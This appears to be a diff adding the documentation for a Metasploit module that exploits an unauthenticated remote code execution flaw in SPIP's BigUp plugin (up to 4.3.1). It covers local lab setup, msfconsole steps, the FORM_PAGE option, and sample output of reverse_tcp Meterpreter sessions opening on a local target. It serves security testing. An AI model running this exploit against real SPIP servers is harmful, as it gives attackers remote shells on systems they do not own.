|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This Metasploit module exploits a Remote Code Execution vulnerability in SPIP |
| 4 | +versions up to and including 4.3.1, specifically in the BigUp plugin. |
| 5 | +The vulnerability occurs due to improper handling of file uploads in the |
| 6 | +`lister_fichiers_par_champs` function, which can be exploited by crafting a malicious multipart form request. |
| 7 | +This allows an attacker to inject and execute arbitrary PHP code on the server. |
| 8 | + |
| 9 | +### Non-Docker Setup |
| 10 | + |
| 11 | +To replicate a vulnerable environment for testing, follow these steps: |
| 12 | + |
| 13 | +1. Download and set up SPIP version 4.3.1. |
| 14 | +2. Use the built-in PHP server to host the SPIP instance. |
| 15 | + |
| 16 | +#### Commands to Set Up the Vulnerable Environment: |
| 17 | + |
| 18 | +```bash |
| 19 | +wget https://files.spip.net/spip/archives/spip-v4.3.1.zip |
| 20 | +mkdir spip && mv spip-v4.3.1.zip spip |
| 21 | +cd spip && unzip spip-v4.3.1.zip |
| 22 | +php -S 0.0.0.0:8000 |
| 23 | +``` |
| 24 | + |
| 25 | +- **SPIP Access URL:** `http://localhost:8000` |
| 26 | +- **SPIP Version:** 4.3.1 |
| 27 | + |
| 28 | +After starting the PHP server, SPIP will be accessible at `http://localhost:8000`. |
| 29 | + |
| 30 | +To complete the installation: |
| 31 | + |
| 32 | +1. Navigate to `http://localhost:8000/ecrire` to access the SPIP web installation panel. |
| 33 | +2. Follow the on-screen instructions to complete the setup. |
| 34 | + |
| 35 | +## Verification Steps |
| 36 | + |
| 37 | +1. Set up a SPIP instance using the commands provided above. |
| 38 | +2. Launch `msfconsole` in your Metasploit framework. |
| 39 | +3. Use the module: `use exploit/multi/http/spip_bigup_unauth_rce`. |
| 40 | +4. Set `RHOSTS` to the local IP address or hostname of the target. |
| 41 | +5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`. |
| 42 | +6. Execute the exploit using the `run` or `exploit` command. |
| 43 | +7. If the target is vulnerable, the module will execute the specified payload. |
| 44 | + |
| 45 | +## Options |
| 46 | + |
| 47 | +- **FORM_PAGE**: This option allows you to specify a custom page on the target SPIP installation that contains a form. |
| 48 | +By default, the module will automatically check the `login` and `contact` pages for forms, |
| 49 | +but if you know of another page that contains a form, you can specify it here. |
| 50 | +For example, if an article page contains a form, you can set this option like so: |
| 51 | + |
| 52 | +``` |
| 53 | +set FORM_PAGE /spip.php?article1 |
| 54 | +``` |
| 55 | + |
| 56 | +This will instruct the module to look for the form data on `/spip.php?article1`. |
| 57 | +If the specified page contains the vulnerable form, the module will proceed with the exploitation. |
| 58 | +This option is particularly useful when the default pages (`login` and `contact`) do not contain the form or are not accessible. |
| 59 | + |
| 60 | +## Scenarios |
| 61 | + |
| 62 | +### Successful Exploitation Against Local SPIP 4.3.1 |
| 63 | + |
| 64 | +**Setup**: |
| 65 | + |
| 66 | +- Local SPIP instance with version 4.3.1. |
| 67 | +- Metasploit Framework. |
| 68 | + |
| 69 | +**Steps**: |
| 70 | + |
| 71 | +1. Start `msfconsole`. |
| 72 | +2. Load the module: |
| 73 | +```bash |
| 74 | +use exploit/multi/http/spip_bigup_unauth_rce |
| 75 | +``` |
| 76 | +3. Set `RHOSTS` to the local IP (e.g., 127.0.0.1). |
| 77 | +4. Configure other necessary options (`TARGETURI`, `SSL`, etc.). |
| 78 | +5. Launch the exploit: |
| 79 | +```bash |
| 80 | +exploit |
| 81 | +``` |
| 82 | + |
| 83 | +**Expected Results**: |
| 84 | + |
| 85 | +With `php/meterpreter/reverse_tcp`: |
| 86 | + |
| 87 | +```bash |
| 88 | +msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000 |
| 89 | + |
| 90 | +[*] Started reverse TCP handler on 192.168.1.36:4444 |
| 91 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 92 | +[*] SPIP Version detected: 4.3.1 |
| 93 | +[+] The target appears to be vulnerable. The detected SPIP version (4.3.1) is vulnerable. |
| 94 | +[*] Preparing to send exploit payload to the target... |
| 95 | +[*] Sending stage (39927 bytes) to 192.168.1.36 |
| 96 | +[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:46322) at 2024-09-03 20:08:36 +0200 |
| 97 | + |
| 98 | +meterpreter > sysinfo |
| 99 | +Computer : linux |
| 100 | +OS : Linux linux 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64 |
| 101 | +Meterpreter : php/linux |
| 102 | +meterpreter > |
| 103 | +``` |
| 104 | + |
| 105 | +With `cmd/linux/http/x64/meterpreter/reverse_tcp`: |
| 106 | + |
| 107 | +```bash |
| 108 | +msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000 |
| 109 | + |
| 110 | +[*] Started reverse TCP handler on 192.168.1.36:4444 |
| 111 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 112 | +[*] SPIP Version detected: 4.3.1 |
| 113 | +[+] The target appears to be vulnerable. The detected SPIP version (4.3.1) is vulnerable. |
| 114 | +[*] Preparing to send exploit payload to the target... |
| 115 | +[*] Sending stage (3045380 bytes) to 192.168.1.36 |
| 116 | +[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:58062) at 2024-09-03 20:09:20 +0200 |
| 117 | + |
| 118 | +meterpreter > sysinfo |
| 119 | +Computer : 192.168.1.36 |
| 120 | +OS : LinuxMint 21.3 (Linux 5.15.0-119-generic) |
| 121 | +Architecture : x64 |
| 122 | +BuildTuple : x86_64-linux-musl |
| 123 | +Meterpreter : x64/linux |
| 124 | +meterpreter > |
| 125 | +``` |
| 126 | + |
| 127 | +- The module successfully exploits the vulnerability and opens a Meterpreter session on the target. |
| 128 | + |
| 129 | +**Note**: Ensure the SPIP instance is correctly configured and running using the manual setup for the exploit to work as expected. |
0 commit comments